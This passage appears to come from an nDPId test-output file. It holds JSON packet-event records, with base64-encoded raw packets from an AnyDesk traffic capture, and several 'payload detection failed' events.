2rbjoDIVxUNQJMwEg\/HdqHRBMCVmWhIFfR29vlUYIa0bbq5SLnWmdhp3CrAM9jFy5RoUakCplK9xT8+0Pt5JiXWc7F1uGflXChBywWF9N8a\/1brMneBXXkqBcDmvqg7VD5Vth+Ec+Lc74VpuIE0D5srH5CoDawXlG5h5objKUy\/ymXS9dVWviheHFHGhpwWWA4SjPAlZEYxzHmiO6PQfNtHPKSaiDCkvKRTbOMGeeZIXecThEE+OncXLHsGVT9IqzpZ+v5V1Esa+rgsHJeg=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1478,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3489} +07847{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1480,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":392055,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAf7hAAIAGAADAqAG7wKgBstOUG56PKB7RWcQ1nFAYIBOExAAAFwMDFXlZ4hNO+msWKpP0SNVAY9IfV8nWGqDHjuZJloPHBoXAG8YYoyD2unxKTlPZN2ST59Hyt03Qevq8YfZbrqKQLe4M1ozeLisw09gUMoKcs1imrlH9dqtXbnmRx0nvlte\/cQv0MuhPBjrOst1miIlvjyGyA8nH+AiEx5hLqV8XaA3idrMiinDv+zlgCunnpaymkWLwbW7GMcocz27DPvD2X8Z\/I+qoMcmzDooGZRCwG9lwdSALIpb53guhkDL68K9SETLeLaXbH5tNRWnymQCIrLqukdAxravI+half2QBjG2RJDCDsBerWJwtQ0OQ4UrB\/iftEFpiQ7R4PrJGYeD41yzkBhmRcI49x3O8B9BebYyrHe5z6HzRgYrKLLNw6aQGMZ+dHS\/ceTZxwAa15w6vegpGzrVPODIKjyA7iz8TH\/nnFwjU2iCtpResQyMYBNfI63FSHBoxoE0dWJiSOtsEJP8UWM\/LYXmwmds+wcDcI9IIpbimyBJJ6XPrWvh1O8CUipsi0gbTg6gkdyt373z\/Of76ntrYwgcpCOgc+aZcA\/QDjZnM3Us9EUANo3npNikkQ8Ec5kgPuVhi\/cZoNyyeQIueTAjtNA0fZ\/ZX1sH3bDhZcvzcxxIAKbALfK6JYfyXk3FUeR16Du9qqfLb0+6k\/O0JUD7k8g5mljGyE3PgfgXurUz0VJ9X2lApYbMI7zGJGeg6Bmz8fwhE7wpJk1Onv8CBFDKxHRnF8EYt1yBH2dcxRITT7y04QF18\/rWrnvRqwL8Ps4T7fb+K8ZZRhlk0VidVqcq9ZMJUrCxdPtxNWIHheRJMoGDNWmXJsyUoFlN4ZaXxfI7OdCvAOSSzK6EtBazcC9pDI+d2cfUVmpmvzSp\/VTia3H0aXnPqcR3sl\/PD9R3N4TMa6PVNKQumj+wu21wGivUeky9ITvcKSLyPHZDC6ZqxC3QLHdlHfnw2qvDZENK4ZoA5p8pc\/zbbQmsy6qYjZD8GYltdeY0mv8Yb\/1k9yGaqdaRYNWJNZgW3nPUdMu0NHTudb23Tc0B7koVqFDZQhBcjztCZ6HLfkVGY4hQtf3vHJvMr\/86nsxsgipJcHwVGYHuvV4xZDy3da8JwsJW8oHkndIXeWZqizI7F8sreSQg3aX\/gRofd9RwU1TcNnqdEaeG3Yot832bUmlqeF22QABEzM3Vmcs+A5+Ked6375Qwuwl68CnA8pv9KfyfzMUPMCm5H6Y5icRd2WqyYnIV+ugxqWF30Dt8KGyssZ3E0Vp11YGhVlhLK9FH4t37vwQQGas08HHawjfygQiLUPtkQLeBRIpsCuGZfOr9XSZUy5cZFcdw9xFoNNxvPC2jkXymm\/o1rOxtW0d9+IvMMBERjGShXaOGkonz4PKbX3O+hWY+nizeDDAzD7rgr7G8JPeyGlTU0VAxNyi4UHSG\/RtUQ7GDwksLyuw2BUEnxKHERC7fFuvQi1SEDzLRFnqNvaEJCs6QQcw5ZZ2Lu2\/x+J0pVafiByHfSgsaG\/+RBgd81JsVSLr5XrKTt7lO+LMFwC3PzQ6g0Lwy56YQ+\/AkRL1DOb2vkl5iGiZPTRFkq+JDplQsK54fXAztB8swdvoc6K5DPbP+7U0aKr++uhfY7wdl5S8uvgv6AbuswT+IjkgLyYLlazHFdpHiqcLTfGTiaZEVQi6cASJ2sZWo1xtUHk6AhBJ1ibjq+GTuYoePJn1CygfUVRbOzgLM4Nld+VlfihlU1Uio3bti145jxc+lehb1xUVNe93tECwogIgSaah2\/tQwJkcG2P98rdZDMdPhl0B1d76slwUfOD22VRYnSh\/z\/i9lZcAVSiTGeNI+v\/WVAkIw2ujHto2PbvBxe1D2nlNdH2jSjfRD7JlpbvEmm5S5N5u8wRMaq2JPKFqY+QfJQ6NQkye3vmvBqUAwvTeBtaE\/AxUpNtc9cyfm33TldbUgZ9hfsCYFL9JjwZG1mbuusAw\/l4Dez7I2kTZ215PRCC4z+s9IY1Z7p4AKhkF1YrF6gbufsB6nLXB2aYqIi4ZIKrHITr9oWH39\/AVj3JmTeHVcASqxsrrxl4WazLPrrieomdsirRdIAoqN4eH8L\/YcsHaAHOdheTzKS2fQFe+Yt7dBg+e9IZa9Iz31mx\/7MUr1tRKfRSjkkl4vaUhOcNMz7K3UwdXhiGte+zbiIehTeZRZv9P\/z0PZ5B1lJ4B03n5ljU7HTlPMhguueAPadilyiHEiYwNKafRNGJ8EhJhkR3IJbhL3Y1\/7BNUMi+ZLBczon7khcDi9ki5uRzB4Z171vPNZCHEDxWZcmP8u6jjo3JChZ2GnR7mMFTQFr7c8JeeFkMmswzR2KN06OP54j1hJGjNxuIS9K1v4UTnm77Pg+OCjqk+KpwljllRh3YTULwLEDyAy\/AfiSkXMEqPXVpO8YUogLz\/9yRtB8GywOk6RSp6WbqVMTFqYIopKhw6Jaf3FNSQgD2UmViTo\/X9njpgQIvw4rm1dlSnjXWfCUiHRDlv+nG55mnrSGscmesSSy0udgTgjuuqt\/B0XRketRfeIooZ1cn2DWdJhZXdLjXPxlH\/lUV27nJMngPfz9q+uCM9xF\/wJtRa3Q\/QCkHVJX8tqS6CKSR07cDp65tc0T9iwXHlG8I9G4Nq\/Ud8pRJSvfg85SeN5jnyJcKwrKrOAYj4QZuy62bTkT1ws4+43sR9bKAX5lJsEDW9c7+0\/ZCuVb9zNpDu\/A0H+J0P52GFC6Jc0vfaZEozvuTWT6z44MxFNgeOFusClaTCSUtXUPMnZI7ZOA4eqoDtOvUqCb8sDSTtEuztTOcCp2FpKQfli9JlrOkqU20K\/zVGFQPzbAfPEgfBk+6a59ZOoCumSC7Pt\/AbHb\/8SXv+n\/jPs+ScPgok\/zliPQOmO6s42bR7KFntfDwFkrcV26hMkFX+1vEGuPvS4IeQiSAK4UVWS+X43Bv2ER\/ZcEyz7hLuV0l95hhFDKrItVDiURSifXMCUvwsig4cZwCAqj6tx3qkTGKfqvnisfkv4642oj3IAKp9+ahGLC5WVEFtoV7JcIOjJvlMPxOLR9Eu1ZKjgoPzOVmmAAmwY0SlNJ8Sv4ymBOA3OjCL3ES2zMnsuFOgPGzDoU8UahNawVicVuErTHQPWcSpeX9gv3iu2FJ58Cw8M8nV7DHNyplta5ZlxNjNBgtAz6Tkdf7gqmgJkK1ajJMN7XVD8XpxcRffHtmRcPYfScAuP2Tu+PJl0dMTigoPWaHoWPrMwyeztY4hGQqhgz8sy6e9ONPzuWcAew6IBz2J3DYg8b13yyKDKI81\/FUE5QWsqAxpeEWvWXoM9X1gYP9++l90ym9xFStAy3+xjdeZiXmyMrKsavZlNNvJb0juxZUaD9tZIEULSp0g\/l9wQB8aDjy7L5egMZ46JrUchefDwQjaibPKBnZOJmlLOgq+DMfKkLYmpTsDWTTQsPTjyJFwq1MymmqwZJ+DJosUMd14esUTMGqpTngUo8xOqWfxc0hJjIQED8MWeZnmJFRTv14gC58Msz9x+Ndd4xXXcVhf4DPY2\/vCb1Z0od5B9tdanggWiwFIT7Tv7wUCHi8mBiA33QhBPXSUoNM3Nfmm40he0cNcMUCcTrtjMyj8Whe0tMzlX6Nt8aPAGIwHKNajctu3hZNEDMG7GMs6CRBBiusm3ACHGcT0wJ2Uq3+aGWUbvGgkN9Fc85wjA329ZIqTctHc4JvXHGFRa2nASMqxjOilH\/t0EkbcAaaMPO69VNA6iJzTpDHtGiJe6mKdQHcd6gYonLQ47REvdl3mYouFLE22pWU+r\/WyN09ByaPr\/jiGiD\/rMjzVbGCb4m0i6aWJEsf9VHucqJt\/PXPqeehOiRl9vCt7RK1Bn4JEcSU3nwVh1YvaNq4b23qAF\/3jFKha7doP7rcCR1RhG\/TF3RGr1c6DKm7lIk8GB2lqWrG01OAf6arQH3llVg\/c8UG3IhuCWziQQ+sq9vtx0tN5gOHW87HS+L6vzdpMqVRZ4jslMaoPr8F9dj\/qjDHoDbQ4V2KZX8si7c3jdxZ85R3C3e8xnTSFzUaj0zpzfDzOG3czmsd\/J+PQipUz0Gl7glTsekFaZioN8oZzPm0kR8mUKRCquedrCbM3e5DXJH1O9EBCe05qT9rr8paapOOjp8TZeE3pQT8VsG3EETBig5hbq0I+oyLuvFmF8WQcmlSunIvNI7n\/uwO0DernH2EJ7xyCke0nBPQc5+yzqDzYWp56v33v2OCm2yFL9NIgWLVf85pevVoLxqu3u3+KvSBhC+dq+9fwjkHItoGZIzrdgjyp0YW+N\/5BxFdwbb25CJV6ktS+wzW7VGUff7NlXakUBbX8HPNfXkEgekQybnSWTCtW5pCCEirTtiOu2KPbS9y15mmJL0QUw1u7aGZ8btFtqWNpO2ByERh+y\/WWzQzQibNcNOOl5YAG6OeOfnfSpM4w7FBbPqcEto2cPN+b3yjRpKew34a3IgIrAwC6h+oWPGffZrFnCB1kTcLBfurIABJIodHBW0IXlhapjD1napf5dhS7Q5dTuH\/PU2sKVVOZfJt4KBSg\/zLWTE1pdQACuts1UbIoxi4humhI\/KDQzOIDWOcOqwj\/QJLboxQ5i8l+7a\/s0ufxzj7+tDFiK+G2lDv3MHZ6+3wkDOMEDk5cPI\/kevC6IvvHtMnBW8QQP+x57d8zIsxurhrJFCx0yj3rMeaiuf6FuTnQZ6IhrxHhNSt+ozYNumTqeeNX42tUGgZNBECVTzKyqDEft5ctK2E\/JVOTTkQC3BBmJ63LnviXySMaJFP6\/AhU2VOMZIP7joNgn8X5xXNBOJtDUA6X0w7Exgdib4xdX4vdu03T3QLUC\/FVCYBWyPO\/OZ7pCa5ey1rcd\/8VSryTXVMMVODF1WwYBJ8TJ6WDAZVJtPa2HtmQRK4DbSMCgLAA9vZPwCbU1FP9yERb8Y7vxWYoilVmQo8fngVkmf1qeTTGcvDZDuY409iEBk+v8ehpAaziXm6vGQhblTV\/Rk7xCSTDDt4I1P3PsBk5m3BXG1QOWkMPblHhLx3IE\/k0uJtE6fKDGQaL7bKMkCpUWMeGc2wgUF\/z520\/KhjXCh7qPDPYzB0jnl2py6ySnDmf\/s0Ex\/H32e6bZ1ePVUCPatmPxpUZN7LCejQYHLAfq1\/kXYpmRbtszVn5tlB4DuyR3heieWZ0PjkbR8dLDR+UlCv0U3T\/sJwG\/chqhFn3kjTf1mcehzBNNDITvFEjJewg2E7xUP\/SaZMJWq4OCP919WautTnZbHPMX+iGXvU8w2VJAwYGHwndjsrbqEX9xJKU6feYXa\/gLETfwNOAivoiUR9xRWhVY\/kA\/xDUUI52lsg3yRHzHgn8apnKixHu4bOD\/5G90GLev5CDUp2d+YdoFsw8HM9ilCDYE7jXDSY4wW\/pkMur1oGdcYJ48EGU65eYPc9Wa6c2jxKD2QFJ9LudetUVKmnBrXyrngSlNR4qYf6w40Xf4ewegmORJHP9RrJNGQ2uLm0WAzO+gnIyX+uy3zdoUz\/AWaRRVZvWEPj+SAoVx38OOnRHxKT4ICNWORdXP27lCrkmifSvxguJTp1ETYwhBnjKksi3GePsEDGAh\/oGgvORx2pp\/34X5oqOsKaX\/E7z5\/4jzgL6OfCPx7Fce5Yffoenm5\/0WrsTUHhoy835Vr\/blWTE1HLJv2XcNEXMR\/fJTSZ7CaaYQhGqgY\/rYw3OPtnhIsLJyxOpAY7yFLnk2eEXtMkPlwCV3mUKyie3J2\/LVT8kpkI+l5ubAZlQNMnAlDgZQon9ToEblmqk5FdOwEGchQPbfFImksInK98p2D8NNxPrXm\/EWbH8XhaCHp23jpD87rpIY\/XG7WyO8BG815MTIBdlV06SoExZWgsiy4rG01\/qVYHvJAHgFPOfd3NrUFMJiX92su8gtdyJeoZL\/ShoojVCt\/Szu12HANUBIHQ4Y+GaxlSWyenQQ5vnlxV7TWPDHq8ked9\/aYag6tube5BmD+57Sp+MUOHk8YDJtMVipCxbqNYLIxEtqRdocCQbrkT5Ho2wsjELuuN5EnS3zfjwZAFvaNuDMlsIkDQtkQ5F+xpIjhgQuQF5OzcEl\/aINiOHPT\/gWE6VNSW5273gaBfR+Hn9Uxb5aEkLV\/OTnmzAMMFc8jOGdAnS85ThXvoulG5C5akUZTvAGmzNj2J3grVmC+TgOFlrwe7NY3NuRrpQnLZFaiLe8WL7YJlp18ExdyGeEZJofQ51oDLD9q4RFENL9s\/XOV1zznI+qcrBLfWn\/Rxb7bSL2Sau+a6r2S6a9E4KSxpmWW1x0VyNHpprEL5NBgKKAwTAZxaT57beqbPBi8GW81LvwU26aCqp7P41\/P3PaakaXwNCoKNVTbXxOR0ZOZFM\/JsSI0x7it20cgXNsjGJwOWJ2kbTWkkZJcZOfKH47pj44crQvOofqumUKM8pU4pYy9\/V+XwXX2Imzk39y\/Gg6+IyesTAlLNEFDeji2QRtqoYMT85Oo93k6FpKJ3+u\/fmTm+hF0qzXYNPAkCpU4lSsEwMSSgCbgIKwTZCMy8IJH4npO6lDg\/fUJbiHByT9GNS96EXIG77SKJOVpwS7UTMuXOQZ07ebP3Sqpz\/FU348iUuSq+N5yk1Xp1fFoKcYfzsWZbC5JVhsdimg5Fv41oAfzPQZ4wcedChoLeJgf2Y4ZoroF2oOrRri4+5tJOQm3q0KFQCb2ZEdtAFH43yzo4czqbPAWr+TveQxXNAN23QGUUtJtRWO3Mq3KYOLCKykeZDe5XJxc2OEQ7vw3cIDGwDN5jrSK5h5IFfGSe4q2mUGgsaiDIW0eS7KfTXHFEdOcBULx81u14hM1+h3wc\/f+Lb9njs\/5PgqG\/nkr77GQnfu15LayCOho\/43DuhEyCesHt95NUMDV4xjMBQ7Lc\/1SEwt6iOCsjOhTvGlL\/jx8n8tkaK\/TTm15Gk2Cgwj3bpUDGRzfqMTajwO+W15k+pR\/8f5HHhE\/Ahp819HzzH60qT9JDjZU16EWTyG1be6TqG9DISYYtw09\/R724TAdyZwd1n5uZ2GOsvSq2tOV\/Fd6Kh5G3FHQUIZsiyRzUS\/5agbaLKEzZTKbLzfMhzOW7BoBzhFheqswYoxCvv9kGd8Ns46QvSAF\/um1iK8ndN7GWgIZLeJIt8l+sKdNeyC+eIMG+RxMNxZURVLtLCKRnaCBzSUgmCEWR2npU6v3Dg37iALQ7jLSWfnJN7gLkr6ctf+fqEEC3gQBF+rZqBaha7Qgl5eFDp++6\/BbGFVF24ZlHTsdI4Kg9ISC17b+oKVe8et8zX28y3h5yecYSbgz9+cbbl9Ltnzc2IcWSI+VeftfhhNsIKP0"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1480,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +07818{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1482,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":392434,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAf7xAAIAGAADAqAG7wKgBstOUG56PKDRPWcQ1nFAYIBOExAAAFwMDFXdZ4hNO+msWK9ShYiQMV7zyVTvjGGRGwcwwUNtMM9ATP7kHySwWqk0p0gC+QKg1a4H5TvhTzkHqu85olvPbSHlqFzemOyW8sEA4owGAHNZokL+9z\/uyqHsmix4YFhqCF3RenyKZEJRj0qr\/f9+7w8D3NhgQuhKZGE7KQIhe0aXSlNdI6XuZ9dRwaGTGKBllTp8JMN236FN1ZiUuQzmTvNCsHXMKGIuu1\/kSjx1PhzdYsk1axRCIHt9ExH1VwBLOhss8lqF3xUtd1fFGmjaBXQM7kPSuGWQGAOmKPiGepdhSetT\/FJAyPC6T5kSmhGgBc6h5EEYpAyg1kehOVgN4kVL6QfMkoPKHSjidfkqfEePAhYrAsRVhFkd+Rjz8sdgXW42OJ60ghzpQtFAwTO6BCZBsjgrNB2quYxPKQ+BbK7OWvrmRppJeWmbspJG\/L8v8j\/059jI8FP5gOKRY3yktzqN7RNmCsaLMB\/3c++wjo575Hn0FxDgfFTEz5yay3YqaTRKoloPtWyyojUz7GdOeH5UTIZBHJsRgYhoOuyIXRPdA9XyX2\/q3zJ7AzO31ED45vzRjiWrYT4r0Esu6XcOqvA45uulD0vgaKuryN1\/rqVs58SrbkJcf6PN3qK04HFLSIY1enjFYZI5hMufwiw0oH1hX+jXQYvq+kGSw1LJmCKjmDHNC\/dcdeIchroTmgAhRBR9Zfugrz22ubRvAExPrwnksUm8g2mywH3Zb7b+ugs\/kE70t02Cm+O3NoILFCohrTWI5bqBncIrs2gDMIAunBK5oaAPPV9FbHH3j+pn+BLGBWvyqJor4YVdGHedbbSc\/5XIwbAj12+Me8pFkGZx4dZPQyjV2KRJJOVjUd1DDbaBXw+RXw8LrRhBehtiNHd1IGQfkKI0TPLztl19YkyH0ld27Pg2Px3a7uHbsqjhcRxVqACSbwNASIv4AY3pUvymJ9lz6tDrLQJ7zcLilLMtLjBWtq8CxdTEn\/HZxIKqL9HBVb0fVfJ0lIhiK1sWl8Fsy\/j0Lt8NTUl40eNwfpvkS3hGXSgZiwgGpQdbOgmNNWj56hZ2fC9ZvFczKaVtESdBVPbW2rbxoEEs2HB3RZo8Ha94OFAy7Hs5Uf4d6WuilsHWTL3SN7FE5ujFOK3rgOEDxtQcWU0OwztT9kkfyB6JJtKf7vDVDnsYlWZ45rnz7HBWwvmAhkf69sUR4iWRvieyJ9FsjZZQ1bkBm8xxbUlMrdUgOn8iPVUFId5N7\/DQHu4mrZBw5FWaDywUBgVRF9KXeQarfSMBJV+kY3E1fxF282nC0tr0mUTgL3GM3kMSMEpdUIrjAK02sLA7NV6KvNUeXrHpiSlv2g3fssRymETCq3OcOb9mr7kRz0CAqfBgJkSmULJEFa4o\/aTO5PLolvpZqv7\/6wXcJlS7Gpz1u4odhWEZ4Mh7fyg\/H4FS0Qiwzymlx0dMfhNQGMpPuWaT25EZ8F+jCycxMDFllcqgdmKzBbmXbWE6YrVMsEoLxcy5fWeRKfBthTiPIZPnn9wc3xVffsdVnDmn58sqoI9xWLvilBuiJs94OmTFjhx8N0iBlr8NKURp6Z0I1nO7XPckVI3MeWMzBM7eaxN6bF8U0ZLkrDhb\/4avSUdjR915QSJ8dimsineQAxO6V+kDQk1L2UJfS6r0LtIl8DKu6msT7w6FP1IB3\/ll\/cnDylp1pDNnNFHQsn1puy4Hxh4Gamm9xSqcl3QbWLiNvAkVMDmX5grJE5UFzhgSeu+SfQl1jWaZI+LuP9cM1lF1Q47jxBQ8hCIFcyXgL4G9SqAMrtwPIh5rEHKA0WdxB4owoheTHIoQFl\/0PnH2BJxp2PgMuVohRAJBQ0G4a6zEemxr6jM\/nh3la55w9zg60cX5fa3zzccNa6HbNpCMycypMdisVBtUTNED5nC+sCsJfCAoO\/np+S8dAMaL4s7kubXFy50C\/sDHeueFR37SJ1jxm5e3cueSxh+aQ447fwDGoVP2zQKht9hW+3TIXGPdunD5bwgh5wYJYC7SNe0yvs0P76loPe98BHvcBIJJ+dlmmWqxnec5VuI5Pn2\/gM0mh9sRZWx9EYeuQDzIzuuLRgQELW\/JQ6ZAiojEqluzvmPe2qpz+S2rNnXMKfn2W9gtjoST5iqcB0M7nOiR89y0CGu+2rHCwRASuY1H8JfrkmcXG6VmXALqBvW9psv6mXdqFYkWQYTKSXcpoLYfrdkH3ySRK\/uuOUhL2bUG8EqX6ffdoAtW34o5fRaI4ul+Y8BkR4mZpzCuxn0S\/LXXeb6swoM+N6LCmlE92MCTSCxbFbEj0+5s8kPFuFRh6ehuLRumSJAa95tFpl6LscBz9ZXCx3Yi6YdhGMU6BMS8NeuyJfbR7cpwTJRnTh0fRfv+YpkC116toJ3sdwCRE81BLqAlV6quS2a\/ezZQ8RqQdKLbYtrKiHqnJmuysFfmlL8xg4kVJmB4wFrV7iqxo14z+DdgJyYB70AEk5F5ntLxj1KeDSsDo8KhxV0k3WZWjfJUfXkEP2+A8CqBDrVlMvUzf0hU0wBKHDqeG74HV7jHBXPnsibx6trsPaUpSvfIkIQvtClcLPC6LAiPMJ7Wk\/niTWg51dunWWONVHoSzhAOUnPH9lXarhhj5us2VO6nqbYnM3ay20WnJlfZt654VGb7IWTM4U+S1NE60DiCDks9vyZks80uqnAWrORLowlzXcc\/V1aFcnELBc4fFkMswmwWY32f1iVc9cspiplX7THGXUnQzcjdXIpKbptw9F6q5Xm6Pcrmyg7mXCO+6Ep4HNOvxwAWxqsP0RZq2mcTkkH+oLuoHvU+2Wh77n37QRB0tENgpYslo2BiIqJXVTKGXIx45+LyUdFXBDqATJ8x99Gt15fz+4oDNAjaU4x7EKY4or0ccrzFB\/R1WbRo42hf8bGs4j\/jK5FB46LYhguY\/tVQkdcB6d24gVLCIypUctDJ+73ze0Ruvx\/OKnX0h7rKi7r8+zUqwQF3+2u7TV4ES+xD6fujWnhtX+sVRdoCDEixQf6EdL0Bc1FZy0QjlfFOY9ZzZbCH9wlWyc4SArQEjPJz0i\/U3YPqKVGZbRSATnM5gD8OiILf4ChJCOJLP+BIN9tgad6UEXqdkv\/PHk8mLDK2nBnrTUxgnPrWZnHqxkvBRTp0LrqXPMXr+a\/MVQkuBNb1FLI2apu9Z85bXJkdm\/OvsvwVUIVjCGXzoMVDox9nV\/Sdf6RcdcgF\/SE\/2R0iiuKD8raeM3Obfeb+KCtV8RnlEMQn3II5L\/jYbxlyrWb0TvGgpBC7+IENgHagcBu5HJWdHyhhXdvycgIJksRyUkXsPd0TkO+tw50sz7KYaFxoSDXE7qNn\/2\/NPa\/Hog9QTNmmpZmlt4K7OxrQnqu1aYwlrDfruibMlOECgVND1T+JsFndUYgjMB7MWNQM1hO96W+pAJ2lfh5STrbPI1+92js3gBPJsxgMJh4aVZ1G0axV\/IMIhX6IZKKMtz\/Oc8hLgOWTtvVZwcrmpmuoQ4j8R3MQpECkFTxmHbBFdvtP4C2vdzaBV7WIwt7RPeOA1PMUmXozHvmnSCF6Q4Uw3aE8Sn3eQ8sTaXCfrX\/yLn4fcOKzFF1cBZy\/aOWOEaPd7hxe+k1oidBgQeS40G8e0S3YaSPZl29lce2UwEZ6+7hYTmEzGJ94qkaJSaAd9yuCEi0sXEUAug7ZXXmzAL\/qiWxhQr4KXwu34fM6ZykLWbnwLWHoUqWL9DedcO\/HdbGY4zWPbPuKRezHtTDHRrts6lvoPiUMRlgXBtjJt3svvAulAuhy+NHTJpP3xjqEBMcmbSv636M6S9GE9A5+dxWX17MRb1KeLfRSVcw7zSnTvHnN0iqhIwS7nMCdCaX3UHdxzN9jieHx4VOgK2k1QgoX6cJkW3jTv5A7lEpIXs3CyXgNrUXWExJc\/R\/sGylY2cI5BPHLBxBDKYT7A+Siq4J+DHO7bc2Y0m9iv+MWMZt7ghNvXM4MhfacMcwFziwHL3ar6dks3JIemcu440LrbYD4vE5xOyXEDfBXakmk9ziFhZg0VgDxEiwQ7EBqUpf4IPiopaGYFWoe1LVSF9X05kSb4J8S8W2D1S61MQvz2OrZAt1IGQfQpiNYUhWZmovgX1iCd0Imd8BgZWCr5uUkl0Iz9vX7FbCY9ZPqp1vz3U0yAOoTx29B57MsSsO3gOo0oQcwVPE+cy9Yne16dozrwf1IU++Hfozx7a4xO12cIzmg0pKC7WRKALA\/7P0QHLJ2QXqmWfma4qHVZoV6FBv6g\/H35imbr2jVlcaU7edn\/wfArEeebjM6rtWA5Q4DgdLejz7D+PjXC8pekCFq3GZpMfxiQQD7ni+AgWanOlEWa+6nKBRtPLMqcYniSuOA9DYyj1jN4xL52LmfmBCbbs2RkUwb\/O1DaXB\/5nHKuDKxZnLGUw2fa5NoG\/8l8MBK30tCAhtN57cDl5eTbzCviMtsbrPtV51N9JHSudbJQMuRHtECRs++nl4hZStivHTUmRHGOoUIiZcCEwFUfEcjOXAqZgMdSGBV1OgtPrXLc6OnKeWFk66rfKCKM0yf+B66ypAqmelxNsJkXeltSQLVUJvSNxuWo9sMzO+mbBwm+0DFIhzNG68648xYMTN\/QioGaXJMk2og+ufig2j\/WCuTWyEKGba6UHxvyEA0JYdNiasUI15T0P0u2wAFZ\/AwAgqo8a5aE6Dcqj0D9mCRtt6svNZ2t+w\/Bi6EBQ7oj\/+8gGyDjcGC2mOAJyZWdGBSeFCGTS67kIAnz4wtwneAtiPjYSPH6nxgdH\/K4GuHyT4Cc\/k9GbJ1IFw4Oi4PHenGy6Sdj\/QPzAeZ9WwaxKPhvWIm7qlUugwphMtgOlnWYzeQX8lKwLNpGLIcwMRCXzCi8sTJpCalpMjYePHZ0A4u86HYDOH8\/pNaDrhMUQd+RzWgwMKp+WXPlg0jvbCX0OjXNvZ5LL\/nxAB9ZwwlQOl2gtnUnSqtAQFMKL0zlpn87rahbMBHyXEKs8669n5P2UVwADUwRWUaASXvRF8dsMrk7WcSy2zWZmZbGtF7b5CkPmKpSFIpikCSMMHDJE\/8rrS1QKHWlXNUCCxj5efuGUbSybB2amAGySY00jZw9PGG47Uvjc2X0zmhqxGu5t6Bq+W7a8\/xMVZYS5tXG6Ssy9vBKeyVfXA4hIKTspQi6wIbQJwNc1XOEtIXGfD5zA7kgWULFmXyonYVObNNb3Lq7ExEJFLcD5mB8tjCLCcdrwZIrSkOQTYfjGR5toi6261Jby5PFfjBSpjh8yLY+3pS9IqiYawwjxSXitaSeDGoQ4IBmATnjqxtIkF8\/kI4zbYYos87LmOtvu1u+9Nf6Vuf4utg+EFbwFuflJUarVEdKJ6jK51slmc5GcczAMgkvIN93wSnCjfhthAkyEbu2Ulnmcd5Ame\/xYdQ9NP45B62C2ruUYGLkrGvwuJCK3H5BzJMriEsZHJXDVgR\/yYJD5GLlWotyOZp4IaeSV6hyMPybmtooHlU+4UmgnOl3kW\/cNBLwCX8NyZ6n5aoLMjFBbPkie\/j61zM9PpnlYazJaJzBPTKCA6EBRvvZCmsCC4tQMOKloaWLmsXAzdciOgTS669q0eFatUfPn1yxzHhj0LqhiNVnHBxeH\/OxpZkYNzaU+Oj7jHSbmTaQuD1FwNM5sonMBRHgVD8Nvw+76c89V+72EKhoiU1szdxZg4VgBZgktwUop1OV+pvN0emfaGBWqbj8tj8d3IpTmy55K4rNYuxMGm2aVSaBl\/A0MahGnKui28zKGC7hOFu5Q2\/xkOVeLe075qIPQh6jhKZJmcwxfQsOdPaapkdz\/ZASe3Z+qLLlk+O+CtOgA6U5DVhtwMxbFTKut7OErbIJXIiLssBgvj58rHu2EZ0bxL3NxV3LnhTYNKuftfq5AyfgXn+AlPLQ5qqqed1d1hqYtXBrEtAz5BXayI6A\/mbzRfPY0+p5OdNRJ3NoHdM0\/yamPsA7gDTqxUX7jxiG2uNoXJmZRkqPCdC997QN\/Vuv3SfYsg3IqO\/Bq7OZBC27Itcfpo87nBS27PS9hpYIaPOaV8brgT+DgAiY9VuvjFssARG8DawsTczBwATAqNT4BuEohjSWGHUjHPoICbboqcPNb3THnRCqScneJlXmnZUsdnAr\/rdhmemIPihUiqHruwIUVlMOviZLD+i1P8JcC5OdysWaLzfaL09s+fteHVjAFqDk403YLOBp1cdHYYtH+eKwUMztPeGZmTR16Acz9ZY51OOsihQL6ZpHEjiL6aFB0Raqq1gnYuP9XjU+7bvsFHU9B4wWC\/4KK7Gxm9vEA3ekcSuRc+GZwvYJLe+OzpBXXf4yuN97qcSpMEMRYMvWEtRUp8Ru0F+mXBtb9\/orJHP9KfCroldVE5rcy6c05bYbjcCT1zdjr3x1Aw3wBCpoqDxxngd0WbYN4X\/o2PcuJH7zO5H7fnl\/BskJMKyI1pni0K1tdI1ewgR1PvKwuf13P\/KuBWDDc7NPpn5d+vslQDHnrHsGsdFId40iIabC2aTbZ7L\/lqxs3YtFiCgid9GT\/mZ9v6gDOrkVzF72kyvW29GKC3aI1gQL0xxLKjNVGYWPbTBPf4dT12SUVM2P+9aZtoVZ\/xZMVZ+i\/hCaRBQ5uq5UIOA8VMSXAoM46mvAfnGRVwmdmOz4Wkln+GcX0JMrF4znYoeim+XwftJ96DHu1WVHDDY5wwX6im\/eylx6azwcVJVLEihrAtnvvJWcjpzWwAiOC0WRPYKscmFbxh5wyDJc\/coGxf4Ij7i1omyEf9jz736yd+ami38ehlZAd6MXw+Re1D3pFmJ2aX5GNSprr0LobsDTQOtsbwFVi7TleBAK0TfZyEjqvBqMMst+eoZfNlN5QVdI2g47k4mik8GGn580amqW3U\/TpuBeU3jVDVFFEbssLL7q3BR\/gIrQ87Ot3YjmshOGM28egauqJb7eKMkYJjY7hZqUC1jcrql7hbvZ8GmA955t0r9QAxJWbb5st7F\/TKDwb8EOMcclGgB4VDul2+oPdymHNooOh3F5XicEz7\/TwHbBLD2MStEn24Lkgie4tQmb7Ddd21YwVyF6TcbVuGwTKg6vvOogQXtZkVGgUpTn2JfhW5yJp3dkwezq28s33KRDrKyeR1yhDx8DWa8od65Uz40+p5E